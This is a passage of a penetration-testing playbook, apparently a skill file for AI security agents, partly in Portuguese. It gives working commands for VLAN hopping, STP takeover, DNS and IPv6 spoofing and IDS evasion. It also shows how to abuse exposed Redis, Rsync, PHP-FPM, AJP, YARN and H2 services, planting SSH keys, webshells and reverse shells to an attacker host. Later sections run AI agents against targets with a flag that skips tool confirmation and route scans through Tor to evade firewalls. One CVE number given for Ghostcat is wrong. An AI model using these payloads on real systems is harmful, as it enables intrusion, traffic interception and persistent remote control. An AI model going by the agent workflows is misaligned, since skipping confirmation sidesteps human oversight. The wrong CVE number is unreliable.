vconfig add eth0 TARGET_VLAN
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up

# Double Tagging (802.1Q)
# scapy:
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
sendp(pkt, iface="eth0")

16.8 STP Manipulation

# yersinia — claim root bridge with lowest priority
yersinia stp -attack 4 -interface eth0

# Send BPDUs with priority 0 → become root bridge
# All traffic flows through attacker → MitM

# Topology Change Attack
yersinia stp -attack 1 -interface eth0
# Send TC (Topology Change) BPDUs → force MAC table flush → sniff traffic

16.9 DNS Spoofing

# bettercap DNS spoofing
bettercap -iface eth0
> set dns.spoof.domains target.com, *.target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on

# ettercap DNS spoofing (via etter.dns config)
echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//

16.10 IPv6 Attacks

# Router Advertisement Spoofing
atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64

# THC-IPv6 suite for comprehensive IPv6 attacks
atk6-parasite6 eth0     # ICMPv6 neighbor spoofing
atk6-redir6 eth0 ...    # Traffic redirection via ICMPv6 redirect

# SLAAC Abuse
# Advertise rogue prefix → victim auto-configures IPv6 address
# Combined with rogue DNS (RA option) → full MitM over IPv6
# Windows prioritizes IPv6 over IPv4 by default

16.11 IDS/IPS Evasion Techniques

Technique	Method	Tool/Flag
IP Fragmentation	Split payload across fragments	nmap -f, fragroute
TTL Manipulation	Set TTL to expire at IDS but reach target	fragroute
Encoding Evasion	URL/Unicode/hex encoding	Manual, custom scripts
Session Splicing	Split TCP payload across segments	fragroute, nmap --data-length
Timing-Based	Slow scan to avoid rate-based detection	nmap -T0, nmap -T1
Decoy Scanning	Mix real scan with decoy source IPs	nmap -D RND:10
Idle/Zombie Scan	Use idle host as scan proxy	nmap -sI ZOMBIE_IP

# fragroute — fragment and reorder packets
echo "ip_frag 8" > /tmp/frag.conf
echo "order random" >> /tmp/frag.conf
fragroute -f /tmp/frag.conf TARGET_IP

# nmap evasion combinations
nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET

---

17. UNAUTHORIZED ACCESS TO COMMON SERVICES (PTES 4.1)

17.1 Service Discovery Matrix

nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET

# Key ports:
# 6379  — Redis
# 873   — Rsync
# 9000  — PHP-FPM (FastCGI)
# 8009  — AJP (Tomcat Ghostcat)
# 8088  — Hadoop YARN ResourceManager
# 8082  — H2 Console (or embedded in Spring Boot)
# 1099  — Java RMI Registry
# 9200  — Elasticsearch
# 5984  — CouchDB
# 2375  — Docker API
# 27017 — MongoDB
# 11211 — Memcached

17.2 Redis (Port 6379) — Write-to-RCE

# Detection
redis-cli -h TARGET ping
# Response: PONG = unauthenticated access confirmed

redis-cli -h TARGET INFO server
# Returns Redis version, OS, config

# Write SSH Authorized Keys
ssh-keygen -t rsa -f redis_rsa
redis-cli -h TARGET flushall
cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET config set dir /root/.ssh
redis-cli -h TARGET config set dbfilename authorized_keys
redis-cli -h TARGET save
ssh -i redis_rsa root@TARGET

# Write Crontab (Reverse Shell)
redis-cli -h TARGET
> set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> save

# Write Webshell
redis-cli -h TARGET
> set webshell "<?php system($_GET['cmd']); ?>"
> config set dir /var/www/html/
> config set dbfilename shell.php
> save
# Access: http://TARGET/shell.php?cmd=id

# Master-Slave Replication RCE
python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER
# Loads module via SLAVEOF → MODULE LOAD → system.exec

17.3 Rsync (Port 873) — Data Theft

# Detection
rsync TARGET::
# Lists available modules (shares) if anonymous access allowed

# Download entire module
rsync -av TARGET::MODULE_NAME /tmp/loot/

# Exploitation — Write Crontab
echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron
rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor

17.4 PHP-FPM / FastCGI (Port 9000) — Code Execution

# Mechanism: PHP-FPM listens for FastCGI requests
# If exposed to network (instead of Unix socket), send crafted FastCGI packets

# Using fcgi_exp or similar tool:
python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"

# Key FastCGI Environment Variables:
# SCRIPT_FILENAME = /var/www/html/index.php   (must point to existing .php file)
# PHP_VALUE = auto_prepend_file = php://input  (injects POST body as PHP code)
# PHP_ADMIN_VALUE = allow_url_include = On     (enables remote inclusion)

# Via SSRF (gopher)
# Tool: Gopherus generates the gopher:// URL
python3 gopherus.py --exploit fastcgi

17.5 Ghostcat — AJP (Port 8009) — CVE-2019-17564

# Mechanism: AJP trusts all incoming data
# Attacker connecting directly can set javax.servlet.include.request_uri

# File Read
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
# Reads any file within the webapp root:
# /WEB-INF/web.xml          — deployment descriptor
# /WEB-INF/classes/*.class  — compiled Java classes
# /WEB-INF/lib/*.jar        — library JARs

# File Include → RCE (if file upload exists)
python3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval
# If the file contains JSP code, it gets executed

17.6 Hadoop YARN ResourceManager (Port 8088)

# Detection
curl http://TARGET:8088/cluster
# If accessible → unauthenticated YARN ResourceManager UI

# RCE via Application Submission
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# Returns: {"application-id":"application_xxx_0001"}

curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps \
  -H "Content-Type: application/json" \
  -d '{
    "application-id": "application_xxx_0001",
    "application-name": "test",
    "am-container-spec": {
      "commands": {"command": "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}
    },
    "application-type": "YARN"
  }'

17.7 H2 Database Console (Port 8082)

# Detection — often enabled in Spring Boot apps:
# spring.h2.console.enabled=true
# spring.h2.console.settings.web-allow-others=true
# Access: http://TARGET:PORT/h2-console

# JNDI Injection via Connection String
# In the H2 Console login form, the JDBC URL field accepts JNDI:
# JDBC URL: javax.naming.InitialContext
# LDAP response attributes:
#   javaClassName: javax.el.ELProcessor
#   javaFactory: org.apache.naming.factory.BeanFactory
#   forceString: x=eval
#   x: Runtime.getRuntime().exec("id")

# RCE via RUNSCRIPT
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
CALL EXEC('id');

17.8 Reverse Proxy Misconfiguration

# Nginx Off-By-Slash Path Traversal
# Vulnerable configuration:
# location /static {
#     alias /var/www/static/;
# }
# Access: /static../etc/passwd → resolves to /var/www/etc/passwd
# The missing trailing slash on location causes path traversal

# X-Forwarded-For / X-Real-IP Trust
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
# May bypass IP whitelist for admin panels

# Caddy Template Injection (Go template)
# If user input reaches Caddy template rendering:
{{.Req.Host}}          → Information disclosure
{{readFile "/etc/passwd"}}  → Local file read via Go template

---

18. Output Esperado desta Fase

1. Lista de hosts ativos (PTES 2.5.4.1)
2. Portas abertas por host (PTES 2.5.4.8)
3. Serviços identificados (PTES 2.5.4.7 - Banner Grabbing)
4. CDN/WAF detection (PTES 2.5.4)
5. Firewall rules mapeadas (com hping3)
6. HTTP injection points (com headi)
7. Network diagram com superfície de ataque
8. Vulnerability scan results (com Nettacker)
9. Admin panels descobertos (com Nettacker admin_scan)
10. CVE findings (com Nettacker vuln modules)
11. Subdomain enumeration results (crt.sh + fallback chain)
12. Asset graph com 29 tipos de assets e edge taxonomy
13. Origin servers descobertos (CDN/WAF bypass)
14. Email security posture (SPF/DMARC/DKIM/BIMI/MTA-STS/DNSSEC)
15. Network protocol attack vectors (ARP spoofing, LLMNR/NBT-NS, WPAD, DHCPv6)
16. Exposed service exploitation paths (Redis, Rsync, PHP-FPM, Ghostcat, YARN, H2)
17. IDS/IPS evasion strategies (fragmentation, timing, decoys)

---

Referências PTES

• PTES Section 2.5: External Footprinting
  • 2.5.1: Identifying IP Ranges
  • 2.5.3: Passive Reconnaissance
  • 2.5.4: Active Reconnaissance (Ping Sweeps, Port Scanning)
• PTES Section 3.1: Vulnerability Testing
• PTES Section 4.1: Precision Strike (Countermeasure Bypass)

---

🤖 AIRecon Integration for Network Scanning

NOTE: AIRecon can automate network scanning workflows, combine Naabu + Nettacker results, and provide intelligent target prioritization.

AIRecon Invocation for Network Scanning

# Quick network scan with Naabu
airecon "scan target.com with naabu port scanner"

# Comprehensive network reconnaissance
airecon "network scan target.com using naabu and nettacker"

# Stealth scan with evasion techniques
airecon "stealth network scan target.com with hping3 evasion"

# Large scale subnet scan
airecon "scan 192.168.1.0/24 subnet for active hosts and open ports"

Slash Command Integration

# Quick Naabu scan via slash command
/ai airecon "/naabu-scan target.com"

# Naabu with specific ports
/ai airecon "/naabu-scan target.com -p 80,443,8080,8443"

# Naabu full port scan
/ai airecon "/naabu-scan target.com -p -"

# Naabu with output
/ai airecon "/naabu-scan target.com -o scan-results.json"

MCP Tool Integration for Network Scanning

# Use hexstrike-local for nmap scan
airecon "run nmap scan on target.com with version detection"

# Use hexstrike-local for naabu scan
airecon "run naabu scan on target.com with all ports"

# Use pentestswarm-remote for comprehensive recon
airecon "run pentestswarm quick_recon on target.com"

# Use hexstrike-local for masscan high-speed scan
airecon "run masscan on 192.168.0.0/16 at high speed"

Workflow: AIRecon + Naabu + Nettacker

# Step 1: AIRecon runs Naabu for fast port discovery
airecon "naabu scan target.com -p - -silent"

# Step 2: AIRecon runs Nettacker for vulnerability scanning
airecon "nettacker scan target.com with vuln modules on discovered ports"

# Step 3: AIRecon consolidates results
airecon "consolidate naabu and nettacker results into unified report"

# AIRecon will:
# - Parse Naabu JSON output
# - Parse Nettacker HTML/JSON report
# - Deduplicate findings
# - Generate unified network map
# - Output: network_scan_report.json, network_topology.md

Auto-Skill Loading for Network Scanning Keywords

Keywords	Skills Loaded	MCP Tools
naabu, port scan, network scan	pentest-network-scanning.md	hexstrike-local (nmap_scan, naabu_scan, rustscan_fast_scan)
nettacker, OWASP, CVE scan	pentest-network-scanning.md, pentest-vulnerability-analysis.md	hexstrike-local (nuclei_scan, nikto_scan)
hping3, evasion, firewall	pentest-network-scanning.md	hexstrike-local (optimize_tool_parameters_ai)
subnet, CIDR, masscan	pentest-network-scanning.md	hexstrike-local (masscan_high_speed, arp_scan_discovery)
subdomain, dns, enumeration	pentest-network-scanning.md, pentest-intelligence-gathering.md	hexstrike-local (subfinder_scan, amass_scan, dnsenum_scan)

AIRecon Network Scan Templates

# External footprinting (PTES 2.5.4)
airecon "external footprint target.com using subfinder, naabu, httpx"

# Internal network discovery
airecon "internal network scan 10.0.0.0/24 with arp and port scan"

# DMZ assessment
airecon "DMZ network assessment for target.com with vulnerability scanning"

# Cloud network mapping
airecon "AWS network mapping for account with naabu and nmap"

AIRecon + pfSense Detection Workflow

# AIRecon auto-detects pfSense during network scan
airecon "scan firewall.target.com and detect if it's pfSense"

# If pfSense detected, AIRecon will:
# 1. Load pentest-pfsense skill automatically
# 2. Run pfSense-specific CVE checks
# 3. Check for default credentials
# 4. Test for command injection vectors
# 5. Generate pfSense-specific findings

Error Handling and Retry Logic

# If scan fails due to rate limiting
airecon "scan target.com --rate-limit 100 --retry 3"

# If scan blocked by WAF
airecon "scan target.com --waf-evasion --proxy socks5://127.0.0.1:9050"

# If hosts unreachable
airecon "scan 192.168.1.0/24 --ping-before --timeout 5000"

AIRecon Network Scan Output Formats

# JSON for SIEM integration
airecon "scan target.com --output json > network-scan.json"

# Markdown for documentation
airecon "scan target.com --output markdown > network-scan.md"

# CSV for spreadsheet analysis
airecon "scan target.com --output csv > network-scan.csv"

# Graph visualization data
airecon "scan target.com --output graph > network-topology.json"

---

Referências PTES

• PTES Section 2.5: External Footprinting
  • 2.5.1: Identifying IP Ranges
  • 2.5.3: Passive Reconnaissance
  • 2.5.4: Active Reconnaissance (Ping Sweeps, Port Scanning)
• PTES Section 3.1: Vulnerability Testing
• PTES Section 4.1: Precision Strike (Countermeasure Bypass)

---

🤖 Watchtower Integration for Network Scanning

Watchtower é um framework de penetration testing baseado em LangGraph com arquitetura multi-agente (Planner, Worker, Analyst) que automatiza network reconnaissance usando 23 ferramentas de segurança.

Invocando Watchtower para Network Scanning

# Network scanning completo com Watchtower
python -m watchtower.main -t https://www.example.com --skip-ask-tools

# Watchtower executará automaticamente:
# - Port scanning: nmap, masscan
# - Web probing: httpx, whatweb, wafw00f
# - Service detection: nmap -sV, whatweb
# - SSL/TLS analysis: testssl.sh, sslyze

# Scan de rede interna (CIDR ranges)
python -m watchtower.main -t 192.168.1.0/24 --skip-ask-tools

# High-speed scanning com masscan
python -m watchtower.main -t 10.0.0.0/8 --skip-ask-tools

Watchtower Slash Commands para Network Scanning

# Quick port scan
/watchtower-scan --target 192.168.1.0/24 --ports 1-1000

# Full port scan (all 65535 ports)
/watchtower-scan --target target.com --ports -

# Service version detection
/watchtower-scan --target target.com --service-detect

# SSL/TLS analysis
/watchtower-scan --target target.com --ssl-analysis

# WAF detection
/watchtower-scan --target target.com --waf-detect

MCP Tool Integration via Watchtower

Watchtower integra-se com MCP tools automaticamente durante network scanning:

# hexstrike-local: Network scanning tools
# - nmap_scan: Port scanning com NSE scripts
# - masscan_high_speed: Internet-scale scanning
# - rustscan_fast_scan: Ultra-fast port discovery
# - arp_scan_discovery: ARP-based host discovery
# - nbtscan_netbios: NetBIOS enumeration
# - enum4linux_scan: SMB enumeration
# - smbmap_scan: SMB share enumeration

# Service detection
# - whatweb: CMS and framework detection
# - wafw00f: WAF fingerprinting
# - httpx_probe: HTTP probing with tech detect

# SSL/TLS analysis
# - testssl.sh: Comprehensive SSL/TLS testing
# - sslyze: SSL certificate and protocol analysis

# Vulnerability scanning
# - nuclei_scan: Template-based vulnerability detection
# - nikto_scan: Web server vulnerability assessment

Workflow Example: Full Network Scan com Watchtower

# 1. Watchtower Planner analisa target e planeja scan
python -m watchtower.main -t 192.168.1.0/24 --skip-ask-tools

# 2. Watchtower executa em paralelo:
#    - Host discovery (ARP, ICMP, TCP SYN)
#    - Port scanning (nmap, masscan)
#    - Service detection (nmap -sV, whatweb)
#    - SSL/TLS analysis (testssl.sh)
#    - WAF detection (wafw00f)

# 3. Watchtower Analyst consolida findings
# 4. Relatório PDF gerado automaticamente
python -m watchtower.main --report "network_scan_report.pdf"

Workflow Example: pfSense Network Detection

# Watchtower detecta pfSense automaticamente
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools

# Detecção via:
# - nmap: Service version detection (nginx + pfSense)
# - whatweb: CMS fingerprinting
# - wafw00f: WAF/Platform detection
# - testssl.sh: SSL certificate analysis (CN=pfSense)

# Se pfSense detectado:
# - Watchtower mapeia portas (80, 443, 22, 1194)
# - Verifica CVEs via cve-mcp
# - Analyst categoriza por severidade

Workflow Example: cPanel/WHM Network Detection

# Watchtower detecta cPanel/WHM nas portas padrão
python -m watchtower.main -t https://target.com:2087 --skip-ask-tools

# Portas escaneadas automaticamente:
# - 2087 (WHM SSL)
# - 2083 (cPanel SSL)
# - 2095 (cPanel Webmail)
# - 2096 (Webmail SSL)

# Detecção via:
# - nmap -sV: Service version detection
# - whatweb: cPanel/WHM fingerprinting

Watchtower Auto-Skill Loading para Network Scanning

Keywords Detectadas	Skills Carregadas	Watchtower Tools Ativadas
port scan network	pentest-network-scanning	nmap, masscan, rustscan
service detect	pentest-network-scanning	nmap -sV, whatweb
ssl tls	pentest-vulnerability-analysis	testssl.sh, sslyze
waf	pentest-network-scanning	wafw00f
web probe	pentest-intelligence-gathering	httpx
smb netbios	pentest-network-scanning	nbtscan, enum4linux, smbmap
host discovery	pentest-network-scanning	arp-scan, nmap -sn
high-speed	pentest-network-scanning	masscan

Watchtower 23 Security Tools para Network Scanning

Tool	Category	Use Case	Speed
nmap	Port Scanning	Service discovery, version detection	Moderate
masscan	Port Scanning	Internet-scale, high-speed scanning	Ultra-fast
rustscan	Port Scanning	Fast port discovery + nmap integration	Very fast
httpx	Web Probing	HTTP probing, title, tech detection	Fast
whatweb	Tech Detection	CMS, framework, server identification	Fast
wafw00f	WAF Detection	WAF fingerprinting	Fast
testssl.sh	SSL/TLS	Comprehensive SSL/TLS configuration	Moderate
sslyze	SSL/TLS	SSL certificate and protocol analysis	Fast
nuclei	Vuln Scanning	Template-based vulnerability detection	Fast
nikto	Web Scanning	Web server vulnerability assessment	Moderate
arp-scan	Host Discovery	Local network ARP scanning	Very fast
nbtscan	NetBIOS	NetBIOS name scanning	Fast
enum4linux	SMB	SMB user/share enumeration	Moderate
smbmap	SMB	SMB share enumeration	Fast
gobuster	Dir Bruteforce	Directory/file discovery	Fast
ffuf	Fuzzing	Web application fuzzing	Very fast

Watchtower Network Scanning Strategies

┌─────────────────────────────────────────────────────────────┐
│              Watchtower Network Scanning Strategy            │
└─────────────────────────────────────────────────────────────┘
                              │
        ┌─────────────────────┼─────────────────────┐
        │                     │                     │
        ▼                     ▼                     ▼
┌───────────────┐   ┌─────────────────┐   ┌───────────────┐
│  Host Discovery│   │  Port Scanning  │   │Service Detect │
│               │   │                 │   │               │
│ - ARP scan    │   │ - masscan (fast)│   │ - nmap -sV    │
│ - ICMP ping   │   │ - nmap (std)    │   │ - whatweb     │
│ - TCP SYN     │   │ - rustscan      │   │ - wafw00f     │
└───────────────┘   └─────────────────┘   └───────────────┘
                              │
                              ▼
                    ┌─────────────────┐
                    │  Vuln Analysis  │
                    │                 │
                    │ - nuclei        │
                    │ - nikto         │
                    │ - testssl.sh    │
                    └─────────────────┘

Watchtower + Naabu Combined Workflow

# 1. Naabu para descoberta rápida de portas
naabu -host target.com -p - -silent -j | tee naabu_ports.json

# 2. Watchtower para análise detalhada dos serviços
python -m watchtower.main -t https://target.com --skip-ask-tools

# 3. Consolidar resultados
# Naabu: Portas abertas
# Watchtower: Serviços, vulnerabilidades, SSL/TLS

# 4. Gerar relatório unificado
python -m watchtower.main --report "consolidated_network_report.pdf"

Watchtower + Nettacker Combined Workflow

# 1. Nettacker para vulnerability scanning
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan,*_vuln -o /output/nettacker.html

# 2. Watchtower para análise complementar
python -m watchtower.main -t https://target.com --skip-ask-tools

# 3. Watchtower Analyst compara findings:
# - Nettacker: 50+ CVE checks
# - Watchtower: 23 tools + LLM analysis

# 4. Consolidar findings
airecon "merge nettacker and watchtower findings"

Watchtower Performance Tuning

# Rate limiting para scans grandes
python -m watchtower.main -t 10.0.0.0/8 \
  --rate-limit 1000 \
  --skip-ask-tools

# Threads para scanning paralelo
python -m watchtower.main -t 192.168.0.0/16 \
  --threads 50 \
  --skip-ask-tools

# Timeout customizado
python -m watchtower.main -t target.com \
  --timeout 30000 \
  --skip-ask-tools

Watchtower Output Formats

# JSON output para integração
python -m watchtower.main -t target.com \
  --output json \
  --skip-ask-tools \
  -o scan_results.json

# PDF report automático
python -m watchtower.main -t target.com \
  --report "network_scan_report.pdf" \
  --skip-ask-tools

# SQLite database para persistência
# Watchtower salva automaticamente em:
# ~/.watchtower/pentest_memory.db

Watchtower Error Handling

Watchtower implementa retry logic e fallback automático:

Se ferramenta falha:
1. Retry com backoff exponencial (2s, 4s, 8s)
2. Fallback para ferramenta alternativa:
   - nmap falha → masscan
   - masscan falha → rustscan
   - testssl.sh falha → sslyze
3. Reporta falha após 3 retries
4. Continua com próximas ferramentas

Watchtower + AIRecon Combined Workflow

# 1. AIRecon para planning inicial
airecon "plan network scan for 192.168.1.0/24"

# 2. Watchtower para execução automatizada
python -m watchtower.main -t 192.168.1.0/24 --skip-ask-tools

# 3. AIRecon para análise de findings
airecon "analyze watchtower network scan findings"

# 4. Watchtower gera relatório PDF
python -m watchtower.main --report "final_network_report.pdf"

Watchtower Network Scan Templates

# External footprinting (PTES 2.5.4)
python -m watchtower.main -t target.com --skip-ask-tools

# Internal network discovery
python -m watchtower.main -t 10.0.0.0/24 --skip-ask-tools

# DMZ assessment
python -m watchtower.main -t dmz.target.com --skip-ask-tools

# Cloud network mapping
python -m watchtower.main -t cloud-target.com --skip-ask-tools

# Subnet enumeration
python -m watchtower.main -t 172.16.0.0/16 --skip-ask-tools

Watchtower pfSense-Specific Network Detection

# Watchtower detecta pfSense automaticamente via:
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools

# Detecção automática:
# 1. nmap -sV: nginx + pfSense signatures
# 2. whatweb: pfSense CMS detection
# 3. wafw00f: pfSense WAF fingerprinting
# 4. testssl.sh: CN=pfSense no certificado

# Se pfSense detectado:
# - Watchtower carrega pentest-pfsense skill
# - Executa CVE checks específicos
# - Verifica portas padrão (80, 443, 22, 1194, 500)

Watchtower cPanel/WHM Network Detection

# Watchtower escaneia portas cPanel/WHM automaticamente
python -m watchtower.main -t https://target.com --skip-ask-tools

# Portas verificadas:
# - 2087 (WHM SSL)
# - 2083 (cPanel SSL)
# - 2095 (cPanel Webmail)
# - 2096 (Webmail SSL)
# - 2086 (WHM não-SSL)
# - 2082 (cPanel não-SSL)

# Se cPanel detectado:
# - Watchtower carrega pentest-exploitation skill
# - Verifica CVE-2026-41940 (Authentication Bypass)
# - Executa wpscan para WordPress (se detectado)

---

Recursos Relacionados

• /pentest-intelligence-gathering - OSINT e footprinting
• /osint-investigation - Skill exclusiva de OSINT com pipeline de 5 estágios, asset graph, e técnicas avançadas
• /pentest-vulnerability-analysis - Análise de vulnerabilidades com risk scoring (CVSS + EPSS + KEV + PoC)
• /pentest-exploitation - Exploração com hping3/headi
• /pentest-post-exploitation - Movimentação lateral e persistência
• /security-commands - Comandos de segurança rápidos